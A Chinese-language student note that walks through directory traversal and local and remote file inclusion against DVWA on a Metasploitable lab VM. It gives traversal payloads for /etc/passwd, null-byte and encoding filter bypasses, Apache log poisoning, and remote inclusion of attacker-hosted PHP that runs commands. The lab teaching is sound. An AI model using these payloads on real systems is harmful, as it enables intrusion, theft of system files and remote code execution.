Kali學習筆記31:目錄遍歷漏洞、檔案包含漏洞
文章的格式也許不是很好看,也沒有什麼合理的順序
完全是想到什麼寫一些什麼,但各個方面都涵蓋到了
能耐下心看的朋友歡迎一起學習,大牛和槓精們請繞道
目錄遍歷漏洞:
應用程式如果有操作檔案的功能,限制不嚴格會導致可以訪問到WEB目錄意外的檔案
目錄遍歷漏洞和檔案包含漏洞本質以及利用方法一樣
一定要論區別的話:
目錄遍歷:對本作業系統的檔案進行讀取
檔案包含:1:LFI本地檔案包含,和目錄遍歷一致;2:RFI遠端檔案包含
漏洞原因:目錄許可權限制不嚴格
漏洞利用示例:
啟動Metasploitable靶機:192.168.163.129
啟動Kali機器:192.168.163.132
在DVWA的這個目錄存在檔案包含漏洞:本地檔案包含
我們可以在Metasploitable中修改配置檔案以開啟遠端檔案包含漏洞:
sudo vi /etc/php5/cgi/php.ini
然後輸入/allow_url進行搜尋:找到這裡,修改成On
然後重啟Apache服務:
sudo /etc/init.d/apache2 restart
這時候Metasploitable就會存在遠端檔案包含漏洞了
目錄遍歷漏洞的特徵要注意:
?page=xxx.php
?home=xxx.html
?index=xxx.jsp
?file=content
常用漏洞驗證方式:
1:../../../../../../(多少個../都行,越多越好)/etc/passwd
URL上這一串東西的意義:../返回上級目錄,當返回到根目錄時候再../還是根目錄,然後直接進入linux系統的passwd檔案
2.file:///etc/passwd(這裡是檔案包含漏洞,不過利用方法一致)
3.http://xxxxx
前兩者用途:可以讀取到目標系統的機密檔案
遠端檔案包含用途:可以構建一個帶有shellcode的網站,使目標訪問,進而得到shell(雖然是低許可權shell)
注意事項:
1.有時候?page=../../../etc/passwd,顯示找不到passwd.php檔案,這是目標系統開啟了過濾機制
繞過辦法:PHP5.3版本以前的,可以用一個空字元%00來解決,示例:
?page=../../../etc/passwd%00
這時候就算目標機器補上一個.php,也無所謂
2.有的伺服器會過濾非法字元,比如/\$&.*等,我們可以採用一些編碼來處理
路徑方面,linux一定是/,windows通常是\,但有可能是/,實際中可以多次傳送根據結果來得到答案
編碼方面:示例
URL編碼:
../ %2e%2e%2f
..\ %2e%2e%5c
..\ %252e%252e%255c (雙層URL編碼)
Unicode/UTF-8編碼:
../ ..%c0%af ..%u2216
..\ ..%c1%9c
編碼工具:之前介紹的很多工具都有,我用Burp來舉例
可以用URL編碼後的字元做嘗試:成功
上邊說到本地檔案包含來檢視檔案內容
通常認為本地檔案包含漏洞無法執行程式碼
萬事沒有絕對,有極其特殊的方式可以執行程式碼
比如:利用訪問日誌
當我們訪問一個WebServer例如Apache時候,就會有訪問日誌
會記錄下來訪問IP和訪問的URL等一些簡單的資訊
我們用nc連線到目標的80埠:傳送一段這樣的東西
然後會在apache的日誌中插入一段php程式碼:然後對日誌檔案chmod,改為可執行許可權
如果失敗了的話,多層chmod,使訪問目錄的所有層都賦予許可權,然後利用檔案包含,有機會執行程式碼(不一定成功)
遠端檔案包含示例:
我先用NC偵聽本地80埠:
遠端檔案包含到Kali機器:這是輸入Kali的IP,至於URL隨便寫
然後一直顯示連線狀態
檢視NC,發現收到了連線請求:
nc只是獲得了連線請求,實際沒用
下面展示實際使用方式
利用Kali本機的Apache服務
到/var/www/html目錄下,新建文字 1.txt,寫入上邊的php程式碼(或者搞個木馬指令碼都行,這裡為了方便)
儲存之後開啟Apache服務
然後測試:
成功執行了ls命令
到這一步就相當於拿到了shell
最後:
我們可以檢視DVWA這裡的遠端檔案包含的原始碼:
LOW級別:直接獲取檔名
<?php $file = $_GET['page']; //The page we wish to display ?>
MEDIUM級別:過濾特殊字元,導致無法遠端檔案包含
解決方法:編碼
比如http://192.168.163.132======>%68%74%74%70%3a%2f%2f192.168.163.132
如果失敗,就可以只針對http://中的某個字元,比如/進行編碼
如果還是失敗,可以進行一種巧妙的方法
非常經典的關鍵字繞過方法:
hthttp://tp://192.168.163.132
我在一個http://中插入了一個http://,伺服器只會識別一次,如果兩個分開寫都會被過濾,穿插來寫,只會過濾一個
<?php $file = $_GET['page']; // The page we wish to display // Bad input validation $file = str_replace("http://", "", $file); $file = str_replace("https://", "", $file); ?>
HIGH級別:規定寫死,只能包含include.php
這種方式基本無解了,沒有漏洞,或者我水平低下找不到漏洞
<?php $file = $_GET['page']; //The page we wish to display // Only allow include.php if ( $file != "include.php" ) { echo "ERROR: File not found!"; exit; } ?>
總結:
遠端檔案包含漏洞出現概率遠遠小於本地檔案包含漏洞
但是遠端檔案包含漏洞更容易被利用
大學生,生活不易,如果有大佬願意讚賞,在此多謝